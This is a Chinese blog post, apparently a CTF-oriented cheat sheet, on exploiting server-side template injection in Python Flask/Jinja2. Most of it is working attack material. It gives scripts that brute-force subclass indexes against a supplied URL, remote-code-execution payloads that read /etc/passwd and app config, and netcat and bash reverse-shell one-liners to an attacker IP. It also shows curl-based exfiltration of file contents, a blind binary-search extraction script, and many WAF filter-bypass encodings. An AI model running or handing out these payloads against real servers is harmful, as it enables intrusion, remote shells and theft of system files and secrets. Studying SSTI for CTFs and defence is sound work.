py-SSTI注入模板利用与绕过

1.文件读取

_frozen_importlib_external.FileLoader

import requests
url = input('请输入URL链接: ')
for i in range(500):
    data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    #data = {"name":"{{().__class__.__mro__[1].__subclasses__()["+str(i)+"]}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                print(i)
    except:
        pass
'''
#FileLoader的利用
{{''.__class__.__mro__[1].__subclasses__()[79]["get_data"](0,"/etc/passed")}}
#读取配置文件下的FLAG
{{config}}
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
'''

2.evalRCE

import requests
url = input('请输入URL链接: ')
for i in range(500):
    data={"name":
    "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if 'eval' in response.text:
                print(i)
    except:
        pass

#payload:
'''
{{''.__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat ./etc/passwd").read()')}}

__builtins__提供对python的所有”内置“标识符的直接访问
eval()计算字符串表达式的值
__import__加载os模块
popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd
(system没有回显)
'''

3.os模块执行命令

import requests
url = input('请输入URL链接: ')
for i in range(500):
    data={"name":
    "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response = requests.post(url,data=data)
        #print(response.text)
        if response.status_code == 200:
            if 'os.py' in response.text:
                print(i)
    except:
        pass

#payload:
'''
#通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

#通过url_for,调用os
{{url_for.__globals__.os.popen('whoami').read()}}

#在已经加载好os模块的子类里直接调用os模块
{{''.__class__.__bases__.__subclasses__()[123].__init__.__globals__['os'].popen("ls -l /opt").read()}}

'''

4.importlibRCE

import requests
url = input('请输入URL链接:')
for i in range(500):
    data = {"name":
    "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if '_frozen_importlib.BuiltinImporter' in response.text:
                print(i)
    except:
        pass

'''
可以加载第三方库,使用load_module引入os
python脚本查找_frozen_importlib.BuiltinImporter

#payload:
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

'''

5.linecache

import requests
url = input('请输入URL链接:')
for i in range(500):
    data = {"name":
    "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if 'linecache' in response.text:
                print(i)
    except:
        pass

#payload:
'''
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen("ls -l /").read()}}
{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen("ls -l /").read()}}

#linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块,所以我们也可以利用linecache函数如执行命令。
#python脚本查找linecache
'''

6.subprocess.popen

import requests
url = input('请输入URL链接:')
for i in range(500):
    data = {"name":
    "{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    try:
        response = requests.post(url,data=data)
        if response.status_code == 200:
            if 'subprocess.Popen' in response.text:
                print(i)
    except:
        pass

'''
从python2.4版本开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。
subprocess意在替代其他几个老的模块或者函数,比如:os.system,os.popen等函数。
python脚本查找subprocess.Popen:
'''
#payload:
'''
{{[].__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
这里将参数传递给 shell=True 会让命令在 shell 环境下运行,这可以使用户更容易地传递一些组合命令。
communicate() 方法发起与执行命令的子进程的双向通信,并等待命令完成。我们调用此方法以获取命令输出和错误结果。
communicate()[0] 返回命令输出,因为在这个例子中无需关心可能存在的错误结果。
strip() 去除输出的最前面之后的空白字符。
'''

-----分界线 下面是绕过-----

7.绕过{% %}

{% %}是属于flask的控制语句,且以{% end… %}结尾,可以通过在控制语句定义变量或者写循环,判断

 

解题思路

#判断{{}}被过滤 #尝试{% %} {% if 2>1 %}yu10{% endif %} {% if ''.__class__ %}yu10{% endif %} 

#有回显yu10说明''.__class__有内容

{% if "".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}yu10{% endif %} 

#如果有回显yu10则说明命令正常执行

payload:

{% print("".__class__.__base__.__subclasses()['+str(i)+'].__init__.__globals__["popen"]("cat /f*").read()) %}

这里也可以直接用print一步一步测试,不需要yu10{% endif %} 

8.无回显SSTI

盲注思路:

(1)反弹shell

通过rce反弹一个shell出来绕过

(2)带外注入

通过requestbin或dnslog的方法将信息传到外界

(3)纯盲注

(1).反弹shell

(没有回显,直接使用脚本批量执行希望执行的命令)

import requests

url = input("请输入目标URL地址")

for i in range(300):
    try:
        data = {"code":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("netcat 监听主机 端口 -e /bin/bash").read()}}'}
        response = requests.post(url,data=data)
    except:
        pass
#监听主机收到反弹shell进入对方命令行界面

利用netcat反弹shell

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。

目前,默认的各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e 都被阉割了,所以我们需要自己手动下载二进制安装包,安装的如下:

wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz

tar -xvzf netcat-0.7.1.tar.gz 

./configure

make && make install 

make clean

在本机:

netcat -lvvp 监听端口号

在对方机器:

netcat 192.xxx.xxx.1 2333 -e /bin/bash 
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
#-e后面跟的参数代表的是在创建连接后执行的程序

利用bash

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
或
bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1

Bash反弹一句完整的解读过程就是:

Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。

(2)带外注入

此处使用wget方法来带外想要知道的内容,

也可以使用dnslog或者nc

import requests

url = input("请输入目标URL地址")

for i in range(300):
    try:
        data = {"code":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://监听主机ip/`cat /etc/passwd`").read()}}'}            
        #反引号命令执行
        response = requests.post(url,data=data)
    except:
        pass
#同时kali开启一个python http监听  #python3 -m http.server 80
#cat没办法换行,只能显示第一行(需要配合换行命令来显示其他内容)

将反引号的内容 作为前面url的命令执行,并且把内容外带出来

dnslog

(3)纯盲注

1.二分法

#!/usr/bin/env python3
# coding=utf-8
 
import requests
 
#注意: 这里只适用于 > 的情况
flag = ""
start = 1  # 第几个字符
while True:
    low = 32 
    high = 126
    mid = (low + high) // 2  # 整数除法
    while low < high:
        url = "http://0b7c2aed-1a0a-4c5c-9829-2e1721548848.challenge.ctf.show/?name="
        payload =f"{{% set a=(lipsum.__globals__.__builtins__.open('/flag').read({start})) %}}{{% if a>'{flag + chr(mid)}'%}}yu10{{% endif %}}"
 
        url_payload = url + payload
 
        # 页面返回正常的特征值
        identify_str = "yu10"
 
        # 请求
        response = requests.get(url=url_payload)
        # print(payload)
        if identify_str in response.text:  # 页面返回正常
            low = mid + 1
        else:  # 页面返回异常
            high = mid
        mid = (low + high) // 2 
        if mid <= 32 or mid >= 126:
            break
    if chr(mid) == ' ':
        break
    flag += chr(mid)
    print(flag)
    start += 1

9.过滤[] getitem

__getitem__()是python的一个魔术方法,

对字典使用时,传入字符串,返回字典相应键所对应的值;

对列表使用时,传入整数,返回列表对应索引的值;

简单来说,就是用.__getitem__('117') 代替 ['117']  ['popen']也行

payload:

{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passed').read()}}

10.过滤引号 request

request在flask中可以访问基于HTTP请求传递的所有信息

此request并非python函数,而是在flask内部的函数

request.args.key 获取get传入的key的值

request.values.x1 所有参数

request.cookies 获取cookies传入参数

request.headers 获取请求头请求参数

request.form.key 获取post传入参数

(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data 获取post传入参数(Content-Type:a/b)

request.json 获取post传入json参数(Content-Type:application/json)

#POST提交payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.k1](requests.form.k2).read()}}&k1=popen&k2=cat /etc/passwd

#cookie提交payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}
#Cookie:k1=popen;k2=cat /etc/passwd

11.过滤器绕过下划线

(1)request

GET提交: URl?cla=__class__&bas=__base__&sub=__subclasses__&gei=__getitem__&ini=__init__&glo=__globals__ POST提交: code={{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)|attr(request.args.gei)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen')('cat /f*')|attr('read')()}}

也可以将上面payload进行如下几种编码

2.使用unicode编码 

3.使用16位编码 

4.base64编码

5.格式化字符串 %c %95即下划线

12.中括号绕过点.

点’.'被过滤

1.用中括号代替点

{{''.__class__}} = {{''['__class__']}}

意义不大,了解即可

13.绕过关键字过滤

过滤了"class"“arg”“form”“value”“int”"global"等关键字

以"__class__"为例

1.字符编码

2.最简单的拼接“+”:'__cl'+'ass__'

3.使用Jinjia2中的"~"进行拼接:{%set a="__cla"%}{%set b = "ss__"%}{{()[a~b]}}

4.利用过滤器(reverse反转,replace替换,join拼接等):

{%set a="__ssalc__"|reverse%}{{()[a]}}

5.利用python的char():

{%set chr=url_for.__globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(95)%2bchr(95)]}}

#为了避免字符串被过滤/转义,基于chr()函数来生成整数编码的字符,并将其拼接成字符串。例如,在上面的代码中,chr(95)会生成一个下划线字符 "_" 的ASCII编码,chr(99)则对应着 "c" 字符,依次类推。

python中的char()

14.length数字过滤

count也行

15.获取config

有些flag可能在config文件中, 如果没有过滤,直接{{config}}就能打开。

flask内置函数

lipsum 可加载第三方库

url_for 可返回url路径

#url_for:一个可以根据视图函数名或端点名称生成相应 URL 的函数。通过这个函数,我们可以在不硬编码URL的情况下引用不同的视图函数或端点,并构建出正确的URL路由。

get_flashed_message 可获取消息

#get_flashed_messages:一个在重定向期间获取Flash消息的函数。Flash消息通常用于在请求之间存储临时信息,比如表单提交后显示一个成功或失败的消息。

flask内置对象

cycler:一个轻量级的循环迭代器,可以用于生成一系列重复的值。

joiner:一个字符串连接器,可以将多个字符串连接成一个字符串。

namespace:一个命名空间对象,可以在程序中组织变量和函数,避免命名冲突。

config:一个配置管理器对象,可以读取和写入程序的配置文件参数。

request:一个用于发送 HTTP 请求的对象,通常用于从网络上获取数据。

session:一个用于存储用户会话信息的对象,通常用于在Web应用程序中跟踪用户状态。

可利用已加载内置函数或对象寻找被过滤字符串

可利用内置函数调用current_app模块进而查看配置文件

current_app
调用current_app相当于调用flask
{{url_for.__globals__['current_app'].config}}
#当在 Flask 模板中调用 {{ url_for.__globals__['current_app'].config }} 时,实际上是通过获取 url_for 对应的全局命名空间中的 current_app 对象,进而获取当前应用程序的配置信息并输出。
{{get_flashed_messages.__globals__['current_app'].config}}

这里涉及到一些pwn的知识,暂时不需要懂原理,记住命令就行

16.混合过滤

1.dict()与join

dict(): #用来创建一个字典

join: #将一个序列中的参数值拼接成字符串

{%set a=dict(nihao=1)%}{{a}}

#创建字典a,键名nihao,键值1

{%set a=dict(__cla=1,ss__=2)|join%}{{a}}

#创建字典a,join把参数值拼接成字符串

利用flask内置函数和对象获取符号
{% set hao = ({}|select()|string()) %}{{yu}}
{% set hao = (lipsum|string) %}{{yu}}
#获取下划线
{% set hao = (self|string()) %}{{yu}}
#获取空格
{% set hao = (self|string|urlencode) %}{{yu}}
#获取百分号
{% set hao = (app.__doc__|string) %}{{yu}}
···类似的payload有很多
在后面添加|list,然后根据返回的结果,通过yu[]去获取你需要的符号
具体可以看示例2里面的payload
示例1:WAF过滤  ' , " , '+' , 'request' , '.' , '[' , ']'
payload原型:{{().__class__.__base__.__subclasses__()[117]}.__init__.__globals__['popen']('cat flag').read()}
payload:
{%set a=dict(__class__=1)|join%}
{%set b=dict(__base__=1)|join%}
{%set c=dict(__subclasses__=1)|join%}
{%set d=dict(__getitem__=1)|join%}
{%set e=dict(__in=1,it=2)|join%}
{%set f=dict(__glo=1,bals__=2)|join%}
{%set g=dict(popen=1)|join%}
{%set kg={}|select()|string()|attr(d)(10)%}     #获取空格;这里可以尝试以下$IFS之类绕过空格过滤的方法
{%set i=(dict(cat=1)|join,kg,dict(flag=2)|join)|join%} #cat空格flag
{%set r=dict(read=1)|join%}
{{()|attr(a)|attr(b)|attr(c)|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}

过滤下划线,用 lipsum|string|list

示例2:WAF过滤  ',",'_','0-9','.','[',']'.'\',''
paylaod原型:{{lipsum|attr("__globals__")|attr("__item__")("os")|attr("popen")("cat flag")|attr("read")()}}
payload:
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=nine+nine%}
{%set pop=dict(pop=a)|join%}
{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(pop)(nine)%}
#得到下划线xhx'_'和空格kg' '
{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}
{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}
{%set os=dict(os=a)|join%}
{%set popen=dict(popen=a)|join%}
{%set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join}
{%set read=dict(read=a)|join}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值